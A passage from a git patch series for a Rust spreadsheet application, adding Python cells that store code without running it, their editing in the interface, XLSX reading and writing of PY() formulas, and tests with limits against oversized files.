&mut Bu let Some(pos) = st.pos(r, col) else { return Ok(()) }; budget.cell()?; let style = st.style(x); - st.sheet.cells.set(pos, Cell { value, formula: None, style }); + st.sheet.cells.set(pos, Cell { value, formula: None, style, py: None }); st.last_formula = Some(pos); if string_result { st.pending_string = Some((pos, style)); From c6c54c57e61da673fe26d44cd424e256f8ab87f3 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 25 Oct 2026 12:47:09 -0400 Subject: [PATCH 010/298] Engine: python.set makes a Python cell; this build stores code and doesn't run it python.set {cell?, code, output?: object|value} makes the cell (the active cell by default) a Python cell, keeping its style and taking a formula and its spill away. `output` is the return type Microsoft documents for PY(): an Excel value (the default) or a Python object; without it a Python cell keeps the one it had. The code must fit in Excel's 8,192-character formula once written as PY(...), quotes doubled and literals joined, so the command checks the encoded formula rather than a character count. A table's header row refuses Python (it holds the column's name, as Excel keeps formulas out of headers), and a locked cell on a protected sheet refuses it through the usual protection check. Nothing runs Python here. Unchanged code keeps its cached result and value; new or changed code shows #BLOCKED!. One undo step takes the cell back. Sheet::clear_spill removes the spilled values inside a range with work bounded by the values stored, not by the range's size. In the interface, F2, a double click or the formula bar on a Python cell edits its code, and a changed text is committed through python.set, which keeps the return type; through cell.set it would have replaced the Python cell with an ordinary cell holding the code as text. Typing over a Python cell replaces it, as typing over a formula does, and committing the code unchanged writes nothing. Deleting all the code clears the cell through cell.set, as an empty entry clears any other cell; code of spaces is still code. Tests: the code and return type in cell.get, #BLOCKED! for new code, cached results kept for unchanged code, the active-cell default, undo, refused params (missing or non-text code, a bad cell, a bad return type), the encoded limit at 8,079 and 8,080 characters and with doubled quotes, a table header, a protected sheet, and a formula's spill taken away. A UI test edits a Python cell's code with F2 and Enter, commits it unchanged, and types over it; another clears a Python cell by deleting all its code, keeps code of spaces, and undoes the clearing. --- crates/engine/src/cmd/mod.rs | 2 + crates/engine/src/cmd/python.rs | 96 ++++++++++++++++ crates/engine/src/tests.rs | 1 + crates/engine/src/tests/python_commands.rs | 91 ++++++++++++++++ crates/model/src/sheet.rs | 13 +++ crates/ui-egui/src/editor.rs | 5 + crates/ui-egui/src/lib.rs | 44 +++++++- crates/ui-egui/tests/it/main.rs | 1 + crates/ui-egui/tests/it/python_cell_edit.rs | 115 ++++++++++++++++++++ 9 files changed, 362 insertions(+), 6 deletions(-) create mode 100644 crates/engine/src/cmd/python.rs create mode 100644 crates/engine/src/tests/python_commands.rs create mode 100644 crates/ui-egui/tests/it/python_cell_edit.rs diff --git a/crates/engine/src/cmd/mod.rs b/crates/engine/src/cmd/mod.rs index 2f1becd23..2bd2a13bb 100644 --- a/crates/engine/src/cmd/mod.rs +++ b/crates/engine/src/cmd/mod.rs @@ -14,6 +14,7 @@ pub mod insert; pub mod inspect; pub mod pivot; pub mod print; +pub mod python; pub mod review; pub mod sheet; pub mod slicer; @@ -147,6 +148,7 @@ pub fn command_specs() -> &'static [CommandSpec] { v.extend(spelling::specs()); v.extend(solver::specs()); v.extend(pivot::specs()); + v.extend(python::specs()); v.extend(slicer::specs()); v.extend(whatif::specs()); v.extend(forecast::specs()); diff --git a/crates/engine/src/cmd/python.rs b/crates/engine/src/cmd/python.rs new file mode 100644 index 000000000..29288e64e --- /dev/null +++ b/crates/engine/src/cmd/python.rs @@ -0,0 +1,96 @@ +//! Python in cells: making and editing Python cells. This build stores the code and the last +//! result a file cached; it doesn't run Python, so a cell with new or changed code shows +//! `#BLOCKED!`. + +use std::sync::Arc; + +use gridcraft_core::{CellRef, Value}; +use gridcraft_model::{Cell, PyCode, python::MAX_FORMULA_CHARS}; +use serde_json::{Value as Json, json}; + +use super::{CommandSpec, bad, cell_param_on, cmd, edit, has_doc, str_param, target_sheet}; +use crate::{EngineError, Result, Session}; + +pub fn specs() -> Vec { + vec![cmd!( + "python.set", + "Set Python Code", + [], + None, + "{cell?, code, output?: object|value} makes the cell (default: the active cell) a Python cell with this code; the code must fit in Excel's 8,192-character formula once written as PY(…). `output` is the return type: `value` (an Excel value, the default) or `object` (a Python object)", + has_doc, + set + )] +} + +fn target_cell(s: &Session, p: &Json) -> Result<(usize, CellRef)> { + let sheet = target_sheet(s, p)?; + let at = match cell_param_on(s, p, "cell", sheet)? { + Some(c) => c, + None => s.doc()?.selection.active, + }; + Ok((sheet, at)) +} + +fn existing(s: &Session, sheet: usize, at: CellRef) -> Result> { + Ok(s.doc()?.wb.sheet(sheet).and_then(|sh| sh.cell(at)).and_then(|c| c.py.as_deref()).cloned()) +} + +fn output_mode(p: &Json, key: &str) -> Result> { + match str_param(p, key) { + None => Ok(None), + Some(m) if m.eq_ignore_ascii_case("object") => Ok(Some(true)), + Some(m) if m.eq_ignore_ascii_case("value") => Ok(Some(false)), + Some(m) => Err(bad("python.set", format!("`{key}` is `object` or `value`, not `{m}`"))), + } +} + +fn set(s: &mut Session, p: &Json) -> Result { + let (sheet, at) = target_cell(s, p)?; + let code = match p.get("code") { + Some(Json::String(c)) => c.as_str(), + Some(_) => return Err(bad("python.set", "`code` must be text")), + None => return Err(bad("python.set", "missing `code`")), + }; + let mode = output_mode(p, "output")?; + let old = existing(s, sheet, at)?; + let object = mode.or(old.as_ref().map(|o| o.object)).unwrap_or(false); + let mut py = PyCode { object, ..PyCode::new(code) }; + if !py.fits() { + return Err(bad( + "python.set", + format!("the code doesn't fit in one cell: written as PY(…) it would be longer than Excel's {MAX_FORMULA_CHARS}-character formula limit"), + )); + } + // A table header is the column's name, never a formula or code (as in Excel). + let header = + s.doc()?.wb.sheet(sheet).is_some_and(|sh| sh.tables.iter().any(|t| t.header_row && t.range.start.row == at.row && t.range.contains(at))); + if header { + return Err(EngineError::Other(format!("{} is a table header; Python cells can't go in a table's header row", at.a1()))); + } + // Unchanged code keeps its result (and its value); new code has none until it runs. + let keep = old.filter(|o| o.code == py.code); + let value = match &keep { + Some(o) => { + py.output = o.output.clone(); + py.stale = o.stale; + None + } + None => Some(gridcraft_model::python::BLOCKED), + }; + edit(s, |cx| { + let sh = cx.sheet_mut(sheet)?; + let style = sh.style_id(at); + let value = value.unwrap_or_else(|| sh.cell(at).map(|c| c.value.clone()).unwrap_or(Value::Empty)); + // A formula's spill (or the old result's) goes with what the cell held. + if let Some(r) = sh.spill_ranges.remove(&at) { + sh.clear_spill(r); + } + sh.set_cell(at, Cell { value, formula: None, style, py: Some(Arc::new(py)) }); + cx.touch(sheet, at); + Ok(()) + })?; + let d = s.doc()?; + let shown = d.wb.sheet(sheet).map(|sh| sh.value(at)).unwrap_or_default(); + Ok(json!({"cell": at.a1(), "value": crate::cmd::inspect::value_json(&shown)})) +} diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index c9d10e36e..47eada0b4 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5094,6 +5094,7 @@ fn a_script_cannot_switch_windows() { } mod python_cells; +mod python_commands; mod seams; #[test] diff --git a/crates/engine/src/tests/python_commands.rs b/crates/engine/src/tests/python_commands.rs new file mode 100644 index 000000000..6d0bfac42 --- /dev/null +++ b/crates/engine/src/tests/python_commands.rs @@ -0,0 +1,91 @@ +//! The python.* commands. + +use gridcraft_core::{CellError, Value}; +use serde_json::json; + +use super::{s, v}; + +fn set(s: &mut crate::Session, cell: &str, code: &str) -> serde_json::Value { + s.execute("python.set", json!({"cell": cell, "code": code})).unwrap() +} + +#[test] +fn set_stores_the_code_and_blocks_the_cell_until_it_can_run() { + let mut s = s(); + let r = set(&mut s, "B1", "xl('A1') + 1"); + assert_eq!(r["cell"], "B1"); + assert_eq!(v(&s, "B1"), Value::Error(CellError::Blocked)); + let got = s.execute("cell.get", json!({"cell": "B1"})).unwrap(); + assert_eq!(got["python"]["code"], "xl('A1') + 1"); + assert_eq!(got["python"]["output"], "value"); + assert_eq!(got["input"], "xl('A1') + 1"); + // The active cell by default. + s.execute("selection.set", json!({"cell": "D4"})).unwrap(); + s.execute("python.set", json!({"code": "2"})).unwrap(); + assert_eq!(s.execute("cell.get", json!({"cell": "D4"})).unwrap()["python"]["code"], "2"); + // One undo step takes the cell back. + s.execute("edit.undo", json!({})).unwrap(); + assert!(s.execute("cell.get", json!({"cell": "D4"})).unwrap()["python"].is_null()); +} + +#[test] +fn unchanged_code_keeps_its_cached_result() { + let mut s = s(); + set(&mut s, "A1", "21 * 2"); + // As a file would have cached it. + { + let d = s.doc_mut().unwrap(); + let wb = std::sync::Arc::make_mut(&mut d.wb); + let sh = wb.sheet_mut(0).unwrap(); + let cell = sh.cells.get_mut(gridcraft_core::CellRef::new(0, 0)).unwrap(); + let py = std::sync::Arc::make_mut(cell.py.as_mut().unwrap()); + py.output = Some(gridcraft_model::PyOutput { value: Value::Number(42.0), type_name: "int".into(), preview: "42".into(), convertible: true }); + cell.value = Value::Number(42.0); + } + set(&mut s, "A1", "21 * 2"); + assert_eq!(v(&s, "A1"), Value::Number(42.0), "same code, same result"); + s.execute("python.set", json!({"cell": "A1", "code": "21 * 2", "output": "object"})).unwrap(); + assert_eq!(s.execute("cell.get", json!({"cell": "A1"})).unwrap()["python"]["output"], "object"); + set(&mut s, "A1", "21 * 3"); + assert_eq!(v(&s, "A1"), Value::Error(CellError::Blocked), "new code has no result yet"); + assert_eq!(s.execute("cell.get", json!({"cell": "A1"})).unwrap()["python"]["output"], "object", "the return type stays"); +} + +#[test] +fn set_refuses_bad_params_long_code_headers_and_protected_cells() { + let mut s = s(); + for p in [ + json!({"cell": "A1"}), + json!({"cell": "A1", "code": 5}), + json!({"cell": "not a cell", "code": "1"}), + json!({"cell": "A1", "code": "1", "output": "sideways"}), + ] { + assert!(s.execute("python.set", p.clone()).is_err(), "{p}"); + } + // The limit is the stored PY(…) formula's 8,192 characters. + assert!(s.execute("python.set", json!({"cell": "A1", "code": "y".repeat(8_080)})).is_err()); + s.execute("python.set", json!({"cell": "A1", "code": "y".repeat(8_079)})).unwrap(); + let quoted = format!("{}{}", "\"".repeat(1_200), "y".repeat(5_800)); + let e = s.execute("python.set", json!({"cell": "A2", "code": quoted})).unwrap_err(); + assert!(e.to_string().contains("8192") || e.to_string().contains("8,192"), "{e}"); + // A table header is the column's name. + s.execute("range.setValues", json!({"range": "C1", "values": [["Name", "Score"], ["a", 1]]})).unwrap(); + s.execute("insert.table", json!({"range": "C1:D2", "headers": true})).unwrap(); + assert!(s.execute("python.set", json!({"cell": "D1", "code": "1"})).is_err()); + assert_eq!(v(&s, "D1"), Value::text("Score")); + set(&mut s, "D2", "1"); + // A locked cell on a protected sheet refuses it. + s.execute("review.protectSheet", json!({})).unwrap(); + let e = s.execute("python.set", json!({"cell": "F1", "code": "1"})).unwrap_err(); + assert!(e.to_string().contains("protected"), "{e}"); +} + +#[test] +fn set_over_a_spilling_formula_takes_the_spill_away() { + let mut s = s(); + s.execute("cell.set", json!({"cell": "A1", "input": "=SEQUENCE(3)"})).unwrap(); + assert_eq!(v(&s, "A3"), Value::Number(3.0)); + set(&mut s, "A1", "[1, 2, 3]"); + assert_eq!(v(&s, "A3"), Value::Empty); + assert!(s.doc().unwrap().wb.sheet(0).unwrap().spill_ranges.is_empty()); +} diff --git a/crates/model/src/sheet.rs b/crates/model/src/sheet.rs index 6bbb331f4..433451277 100644 --- a/crates/model/src/sheet.rs +++ b/crates/model/src/sheet.rs @@ -202,6 +202,19 @@ impl Sheet { self.spill_ranges.iter().find(|(anchor, range)| **anchor != c && range.contains(c)).map(|(anchor, _)| *anchor) } + /// Removes the spilled values inside `r`. The work is bounded by the values stored, not by + /// the size of `r`, so a range from a file that claims the whole sheet costs no more than the + /// values it holds. + pub fn clear_spill(&mut self, r: RangeRef) { + if r.count() <= self.spill.len() as u64 { + for c in r.iter() { + self.spill.remove(&c); + } + } else { + self.spill.retain(|c, _| !r.contains(*c)); + } + } + /// Displayed value of a cell: its own value, or a spilled value. pub fn value(&self, c: CellRef) -> Value { match self.cells.get(c) { diff --git a/crates/ui-egui/src/editor.rs b/crates/ui-egui/src/editor.rs index 847afe3ae..8fe3bc7d2 100644 --- a/crates/ui-egui/src/editor.rs +++ b/crates/ui-egui/src/editor.rs @@ -47,6 +47,10 @@ pub struct EditState { /// The cell's text when an F2-style edit began. Committing it unchanged leaves the cell alone /// (no undo step, the workbook stays clean). `None` for an edit started by typing. pub original: Option, + /// The edit began on a Python cell's existing content (F2, a double click or the formula + /// bar), so the text is the cell's code: a change goes in as new code through `python.set`. + /// `false` for an edit started by typing, which replaces the cell as it does a formula. + pub code_edit: bool, } impl EditState { @@ -75,6 +79,7 @@ impl EditState { caret_to_end: true, completion: None, original, + code_edit: false, } } diff --git a/crates/ui-egui/src/lib.rs b/crates/ui-egui/src/lib.rs index 55b3bd740..8cfccb68f 100644 --- a/crates/ui-egui/src/lib.rs +++ b/crates/ui-egui/src/lib.rs @@ -1146,6 +1146,7 @@ impl SheetApp { None => (current.clone(), false), }; let mut ed = editor::EditState::new(d.uid, d.wb.active_sheet(), at, text, replace, from_formula_bar); + ed.code_edit = !replace && sh.cell(at).is_some_and(|c| c.py.is_some()); ed.window = self.session.active_window(); ed.locale = locale; if replace && self.ui.autocomplete && !ed.is_formula() { @@ -1207,12 +1208,17 @@ impl SheetApp { _ => ed.text.clone(), }; // F2 then Enter (or a file command) on an untouched draft: nothing to write. - if !fill_selection && !array && ed.original.as_ref() == Some(&text) { + if (ed.code_edit || (!fill_selection && !array)) && ed.original.as_ref() == Some(&text) { if dr != 0 || dc != 0 { self.move_after_enter(dr, dc); } return true; } + // All the code deleted: the cell is cleared through cell.set, as an empty entry clears any + // other cell. Code of spaces is still code. + if ed.code_edit && !text.is_empty() { + return self.commit_code_edit(ed, text, dr, dc); + } let text = match self.session.active().map(|d| formula_locale::canonical(&text, ed.locale, &d.wb, ed.sheet, ed.cell)) { Some(Ok(text)) => text, Some(Err(error)) => { @@ -1250,11 +1256,9 @@ impl SheetApp { let unchanged = !fill_selection && !array && text.is_empty() - && self - .session - .active() - .and_then(|d| d.wb.sheet(ed.sheet)) - .is_some_and(|sh| sh.cell(ed.cell).is_none_or(|c| c.formula.is_none() && c.value == gridcraft_engine::core::Value::Empty)); + && self.session.active().and_then(|d| d.wb.sheet(ed.sheet)).is_some_and(|sh| { + sh.cell(ed.cell).is_none_or(|c| c.formula.is_none() && c.py.is_none() && c.value == gridcraft_engine::core::Value::Empty) + }); let r = if unchanged { Ok(json!({})) } else if fill_selection { @@ -1279,6 +1283,34 @@ impl SheetApp { } } + /// Commits a changed edit of a Python cell's code through `python.set`, which keeps the cell's + /// return type; `cell.set` would replace the Python cell with an ordinary one holding the code + /// as text. When the command refuses the code, its message shows and the edit stays open. + fn commit_code_edit(&mut self, ed: editor::EditState, code: String, dr: i64, dc: i64) -> bool { + // Point mode can leave another sheet active; the edit belongs to the sheet it started on. + let r = if self.session.active().is_some_and(|d| d.wb.active_sheet() != ed.sheet) { + self.session.run("sheet.activate", json!({"sheet": ed.sheet})) + } else { + Ok(Json::Null) + }; + let r = r.and_then(|_| self.session.run("python.set", json!({"sheet": ed.sheet, "cell": ed.cell.a1(), "code": code}))); + match r { + Ok(_) => { + if dr != 0 || dc != 0 { + self.move_after_enter(dr, dc); + } + self.after_engine(); + true + } + Err(e) => { + self.message = Some(("GridCraft".into(), clean_error(&e))); + self.editor = Some(ed); + self.session.mode = gridcraft_engine::Mode::Edit; + false + } + } + } + /// Commits the edit with an arrow key. The arrow is an ordinary move, so it ends a run of Tabs /// instead of continuing it (Right) or going back to its column like Enter (Down), as in Excel. pub fn commit_edit_arrow(&mut self, dr: i64, dc: i64) -> bool { diff --git a/crates/ui-egui/tests/it/main.rs b/crates/ui-egui/tests/it/main.rs index 53625015e..09abd1097 100644 --- a/crates/ui-egui/tests/it/main.rs +++ b/crates/ui-egui/tests/it/main.rs @@ -73,6 +73,7 @@ mod pivot_show_details; mod pivot_show_details_menu; mod popup_dismissal; mod protect_password; +mod python_cell_edit; mod ribbon_layout; mod right_to_left; mod scroll_position; diff --git a/crates/ui-egui/tests/it/python_cell_edit.rs b/crates/ui-egui/tests/it/python_cell_edit.rs new file mode 100644 index 000000000..0afa43185 --- /dev/null +++ b/crates/ui-egui/tests/it/python_cell_edit.rs @@ -0,0 +1,115 @@ +//! Editing a Python cell's content (F2, the formula bar) edits its code; typing over it replaces +//! it, as typing over a formula does. + +use egui::{Event, Key, Modifiers}; +use gridcraft_engine::Session; +use gridcraft_engine::core::{CellRef, Value}; +use gridcraft_ui_egui::SheetApp; +use serde_json::json; + +type Harness = egui_kittest::Harness<'static, SheetApp>; + +fn harness() -> Harness { + let mut session = Session::new(); + session.new_workbook(); + session.execute("python.set", json!({"cell": "A1", "code": "1 + 1", "output": "object"})).unwrap(); + session.execute("selection.set", json!({"range": "A1"})).unwrap(); + crate::common::harness_with(crate::common::builder().with_size(egui::vec2(1200.0, 800.0)), crate::common::app(session), 4) +} + +fn text(h: &mut Harness, text: &str) { + h.input_mut().events.push(Event::Text(text.into())); + h.run_steps(2); +} + +fn key(h: &mut Harness, key: Key) { + for pressed in [true, false] { + h.input_mut().events.push(Event::Key { key, physical_key: None, pressed, repeat: false, modifiers: Modifiers::NONE }); + } + h.run_steps(2); +} + +/// A1's code and return type (true: a Python object), or `None` when it isn't a Python cell. +fn python(h: &Harness) -> Option<(String, bool)> { + let sh = h.state().session.active().unwrap().wb.active().unwrap(); + sh.cell(CellRef::parse("A1").unwrap()).and_then(|c| c.py.as_deref()).map(|p| (p.code.clone(), p.object)) +} + +fn select_a1(h: &mut Harness) { + h.state_mut().session.execute("selection.set", json!({"range": "A1"})).unwrap(); + h.run_steps(2); +} + +#[test] +fn f2_edits_a_python_cells_code_and_typing_replaces_it() { + let mut h = harness(); + let undo_depth = |h: &Harness| h.state().session.active().unwrap().undo.len(); + let before = undo_depth(&h); + + // F2 and Enter without a change writes nothing. + key(&mut h, Key::F2); + assert_eq!(h.state().editor.as_ref().map(|e| e.text.as_str()), Some("1 + 1")); + key(&mut h, Key::Enter); + assert!(h.state().editor.is_none()); + assert_eq!(undo_depth(&h), before, "an unchanged edit is no undo step"); + assert_eq!(python(&h), Some(("1 + 1".into(), true))); + + // A change is new code for the same Python cell, which keeps its return type. + select_a1(&mut h); + key(&mut h, Key::F2); + text(&mut h, " + 2"); + key(&mut h, Key::Enter); + assert!(h.state().editor.is_none(), "{:?}", h.state().message); + assert_eq!(python(&h), Some(("1 + 1 + 2".into(), true)), "the cell stays a Python cell with the new code"); + + // Typing over the cell replaces it. + select_a1(&mut h); + text(&mut h, "5"); + key(&mut h, Key::Enter); + assert_eq!(python(&h), None); + assert_eq!(h.state().session.active().unwrap().wb.active().unwrap().value(CellRef::parse("A1").unwrap()), Value::Number(5.0)); +} + +#[test] +fn deleting_all_the_code_clears_the_cell() { + let mut h = harness(); + let a1 = |h: &Harness| h.state().session.active().unwrap().wb.active().unwrap().value(CellRef::parse("A1").unwrap()); + // Code of spaces is still code, for the same Python cell. + key(&mut h, Key::F2); + h.state_mut().editor.as_mut().unwrap().text = " ".into(); + assert!(h.state_mut().commit_edit(0, 0, false, false)); + assert_eq!(python(&h), Some((" ".into(), true))); + // No code at all clears the cell, as an empty entry clears any other cell. + select_a1(&mut h); + key(&mut h, Key::F2); + h.state_mut().editor.as_mut().unwrap().text.clear(); + assert!(h.state_mut().commit_edit(0, 0, false, false)); + assert!(h.state().editor.is_none()); + assert_eq!(python(&h), None, "the cell is no longer a Python cell"); + assert_eq!(a1(&h), Value::Empty); + h.state_mut().run("edit.undo", json!({})).unwrap(); + assert_eq!(python(&h), Some((" ".into(), true)), "one undo step brings the code back"); +} + +#[test] +fn deleting_all_the_code_clears_a_python_cell_with_no_cached_value() { + let mut h = harness(); + // A Python cell from a file that cached no value (the value is empty, the code is not). + { + let d = h.state_mut().session.doc_mut().unwrap(); + let mut wb = (*d.wb).clone(); + let i = wb.active_sheet(); + let sh = wb.sheet_mut(i).unwrap(); + let at = CellRef::parse("A1").unwrap(); + let mut cell = sh.cell(at).cloned().unwrap(); + cell.value = Value::Empty; + sh.set_cell(at, cell); + d.wb = std::sync::Arc::new(wb); + } + h.run_steps(2); + key(&mut h, Key::F2); + h.state_mut().editor.as_mut().unwrap().text.clear(); + assert!(h.state_mut().commit_edit(0, 0, false, false)); + assert!(h.state().editor.is_none()); + assert_eq!(python(&h), None, "the code is removed, not kept as an unchanged empty cell"); +} From fcbbfa51424c7d38c87d2dc940b2c500aa317fe3 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 25 Oct 2026 12:54:01 -0400 Subject: [PATCH 011/298] XLSX: Python cells as _xlfn._xlws.PY() formulas, code in the Python part, cached values; opening limits A Python cell is written to xlsx as [MS-XLSX] 2.3.10 specifies: its formula is _xlfn._xlws.PY(i,0|1), where i is the zero-based index of the cell's script in the workbook's Python part and 0|1 the return type, 0 for an Excel value and 1 for a Python object. The part (2.1.23) is xl/python.xml, content type application/vnd.ms-excel.python+xml, related from the workbook part with http://schemas.microsoft.com/office/2023/09/relationships/Python; its root python holds pythonScripts, one pythonScript per Python cell in the order the cells are written, with the code in code. The code keeps its xl() references as text, so the formula has no further arguments. The cell keeps its cached value. A spilling result is written like a dynamic array (cm="1", t="array" ref=...) with the spilled values cached, so other applications show the values (and #NAME? if they recalculate). The reader turns a PY( formula with or without the _xlfn. and _xlws. prefixes into a Python cell. An index names a script of the Python part, and each %Px% in the script becomes the text of the formula's argument x (2.3.10.4). The string-literal form, PY("chunk"&"chunk",0|1), still reads, from the formula's own text so line breaks in the code survive. A formula naming a script the part doesn't hold keeps only its cached value, with a warning: no calculation can evaluate it. The reader keeps the cached spilled values as the cell's result, so a workbook from Excel shows its arrays without running anything. Python errors are cached as #VALUE!, as #SPILL! and #CALC! already are. Native JSON keeps Cell.py whole: code, return type, the last result and the exact error. Calc lays out a Python cell's kept result: Python cells are nodes of the dependency graph that read nothing, and a pass takes a dirty Python cell's result instead of evaluating it, so its array spills, is blocked (#SPILL!) and unblocked, and feeds its dependents exactly like a formula's. An array that is malformed or has more than 1,000,000 cells (only a crafted file holds one) shows #SPILL!. A dirty Python cell is pending in the pass, as a dirty formula is, so a formula, a range read or a cell-by-cell range walk that reaches it before its turn lays it out first rather than reading its old value. Opening a file can't make the app loop over a claimed size: the reader keeps a Python cell's spill range only when it has at most 1,000,000 cells (a range claiming the whole sheet is dropped with its values, as a formula's spilled values are), and io::adopt_python rebuilds results for at most 4,000,000 cells over the whole workbook, with a warning for the cells it skips. The Python part is read up to 64 MB and 1,000,000 scripts, a script is kept up to one character past what a cell may hold, and the cells take at most 64 MB of code from the part in all, since several formulas can name one script. io::enforce_python_limits drops the code of a cell whose code doesn't fit in 8,192 characters as PY(...) (the cell keeps its cached value, with a warning) and a kept result that isn't a well-formed array within the cap, each with its spill range and spilled values, so the sheet and a save no longer show the old spill. Formats that keep PY() as an ordinary formula (xls, xlsb, ods) are adopted the same way. Opening a file runs nothing. The command-sequence fuzzer sets Python cells (code with xl() references, quotes, line breaks, and code at and over the size limit), and its xlsx round-trip check allows the Python errors becoming #VALUE!, which is what the file format stores. Tests: the written formula naming its script, the Python part with its content type and relationship, return types, a spilling table saved as a dynamic array, Python errors as #VALUE!, the round trip of values, code, long code with quotes and line breaks and the error, and no Python part without Python cells; a workbook laid out as the format specifies (an index, a parameter named as %P2%) read as Python cells with their spilled values and saved back with its code in a Python part; the string-literal form; a formula naming a missing script, with and without a Python part; 20,000 cells naming one long script against the code budget; the part's reader and writer (escaping, odd %P tokens, a long script, a repeated parameter); a blocker in the spill area giving #SPILL! and clearing it spilling again; the native JSON round trip; a spill range claiming the whole sheet; the workbook-wide budget; hostile JSON (code over the limit, a result claiming far more cells than it holds); a malformed result that never spills; PY() formulas at 8,079 and 8,080 characters of code. Calc: formulas, MAX, SUM, COUNTA and SUMPRODUCT read a dirty Python cell whose array is blocked before its turn, in a full and an incremental recalculation, and see the array once it is unblocked; enforce_python_limits removes the spill of dropped code and of a dropped result, and keeps a sound one. --- crates/calc/src/recalc.rs | 80 +++- crates/calc/src/tests.rs | 60 +++ crates/engine/src/io.rs | 132 ++++++ crates/engine/src/tests.rs | 1 + crates/engine/src/tests/python_files.rs | 441 ++++++++++++++++++ .../engine/tests/it/command_sequence_fuzz.rs | 29 +- crates/model/src/python.rs | 18 +- crates/xlsx/src/lib.rs | 1 + crates/xlsx/src/python_part.rs | 318 +++++++++++++ crates/xlsx/src/read.rs | 8 + crates/xlsx/src/sheet_read.rs | 45 +- crates/xlsx/src/sheet_write.rs | 23 +- crates/xlsx/src/write.rs | 9 + 13 files changed, 1133 insertions(+), 32 deletions(-) create mode 100644 crates/engine/src/tests/python_files.rs create mode 100644 crates/xlsx/src/python_part.rs diff --git a/crates/calc/src/recalc.rs b/crates/calc/src/recalc.rs index 4cbbcc8b4..e1b1e89cf 100644 --- a/crates/calc/src/recalc.rs +++ b/crates/calc/src/recalc.rs @@ -436,6 +436,10 @@ struct PassHost<'a> { stack_top: usize, /// Whether an evaluation ran past the stack budget since the innermost formula started. out_of_stack: bool, + /// The kept results of the Python cells in the pass: a Python cell isn't evaluated, its + /// result is laid out (an array spills from the cell, as a formula's does). Each one is in + /// `pending` until it is laid out, so a formula that reads it first gets its new value. + python: HashMap, } impl<'a> PassHost<'a> { @@ -468,8 +472,17 @@ impl<'a> PassHost<'a> { taint: false, stack_top: 0, out_of_stack: false, + python: HashMap::default(), } } + + /// Adds the dirty Python cells of the pass and their kept results: like the formulas, they + /// are pending until laid out, so every read path calculates them before reading them. + fn with_python(mut self, python: HashMap) -> Self { + self.pending.extend(python.keys().copied()); + self.python = python; + self + } } /// Whether an array result at `k` can't spill: it is in a table, or its area runs off the sheet, @@ -483,7 +496,10 @@ fn spill_blocked(host: &PassHost<'_>, (sheet, anchor): Key, a: &Array) -> bool { let own = sh.spill_ranges.get(&anchor); let spilled_over = |c: CellRef| { !own.is_some_and(|o| o.contains(c)) - && sh.spill_ranges.iter().any(|(o, r)| *o != anchor && r.contains(c) && !host.exprs.contains_key(&(sheet, *o))) + && sh.spill_ranges.iter().any(|(o, r)| { + // A formula or Python cell recalculated in this pass lays its array out again. + *o != anchor && r.contains(c) && !host.exprs.contains_key(&(sheet, *o)) && !host.python.contains_key(&(sheet, *o)) + }) }; end.row >= gridcraft_core::MAX_ROWS || end.col >= gridcraft_core::MAX_COLS @@ -560,6 +576,9 @@ impl PassHost<'_> { } return v; } + if let Some(result) = self.python.get(&k).cloned() { + return self.python_result(k, result); + } let Some(expr) = self.exprs.get(&k) else { return self.wb.sheet(k.0).map(|s| s.value(k.1)).unwrap_or_default(); }; @@ -677,6 +696,36 @@ impl PassHost<'_> { v } + /// A Python cell's kept result as its value: an array spills from the cell unless it is + /// blocked, malformed or larger than [`gridcraft_model::python::MAX_RESULT_CELLS`] (only a + /// crafted file holds one), which shows `#SPILL!`. + fn python_result(&mut self, k: Key, result: Value) -> Value { + self.pending.remove(&k); + let v = match result { + Value::Array(a) => { + let sane = a.rows >= 1 + && a.cols >= 1 + && a.rows.checked_mul(a.cols).is_some_and(|n| n == a.data.len() && n <= gridcraft_model::python::MAX_RESULT_CELLS); + if sane { + self.spills.insert(k, a.clone()); + a.data.first().cloned().unwrap_or_default() + } else { + Value::Error(CellError::Spill) + } + } + v => v, + }; + let v = match self.spills.get(&k) { + Some(a) if spill_blocked(self, k, a) => { + self.spills.remove(&k); + Value::Error(CellError::Spill) + } + _ => v, + }; + self.results.insert(k, v.clone()); + v + } + /// A formula's previous value for iterative calculation: from the last iteration, else the /// value it shows. Blank, and the `#CIRC!` of a loop calculated with iteration off, are 0. fn previous(&self, k: Key) -> Value { @@ -817,12 +866,12 @@ impl Host for PassHost<'_> { let (h, w) = (range.height() as usize, range.width() as usize); let mut out = vec![Value::Empty; h * w]; let Some(sh) = self.wb.sheet(sheet) else { return out }; - // Sparse walk: only stored cells; formula cells that are (or were) dirty go through - // `compute`, constants are copied straight from the store. + // Sparse walk: only stored cells; formula and Python cells that are (or were) dirty go + // through `compute`, constants are copied straight from the store. let mut formulas: Vec<(usize, CellRef)> = Vec::new(); for (c, cell) in sh.cells.iter_range(range) { let i = (c.row - range.start.row) as usize * w + (c.col - range.start.col) as usize; - if cell.formula.is_some() { + if cell.formula.is_some() || cell.py.is_some() { formulas.push((i, c)); } else if let Some(slot) = out.get_mut(i) { *slot = cell.value.clone(); @@ -888,11 +937,11 @@ impl Host for PassHost<'_> { fn visit_range(&mut self, sheet: usize, range: RangeRef, f: &mut dyn FnMut(&Value) -> bool) -> bool { let wb = self.wb; let Some(sh) = wb.sheet(sheet) else { return false }; - // Formula cells first, in row-major order like `range_values`: reading one calculates it - // and the pass remembers the value, so the walk below gets the same value again without - // this method holding any. + // Formula and Python cells first, in row-major order like `range_values`: reading one + // calculates it (a Python cell lays out its result) and the pass remembers the value, so + // the walk below gets the same value again without this method holding any. for (c, cell) in sh.cells.iter_range(range) { - if cell.formula.is_some() { + if cell.formula.is_some() || cell.py.is_some() { let _ = self.cell_value(sheet, c); } } @@ -902,7 +951,7 @@ impl Host for PassHost<'_> { return false; } for (c, cell) in sh.cells.iter_range(range) { - let go = if cell.formula.is_some() { f(&self.cell_value(sheet, c)) } else { f(&cell.value) }; + let go = if cell.formula.is_some() || cell.py.is_some() { f(&self.cell_value(sheet, c)) } else { f(&cell.value) }; if !go { break; } @@ -953,6 +1002,10 @@ impl Calc { if cell.value == Value::Error(CellError::Circ) { circ.push((si, c)); } + } else if cell.py.is_some() { + // A Python cell lays out its kept result, so it is calculated like a formula + // that reads nothing: its spill is blocked and unblocked like a formula's. + self.graph.insert((si, c), Node { areas: Vec::new(), dynamic: false }); } } } @@ -1074,11 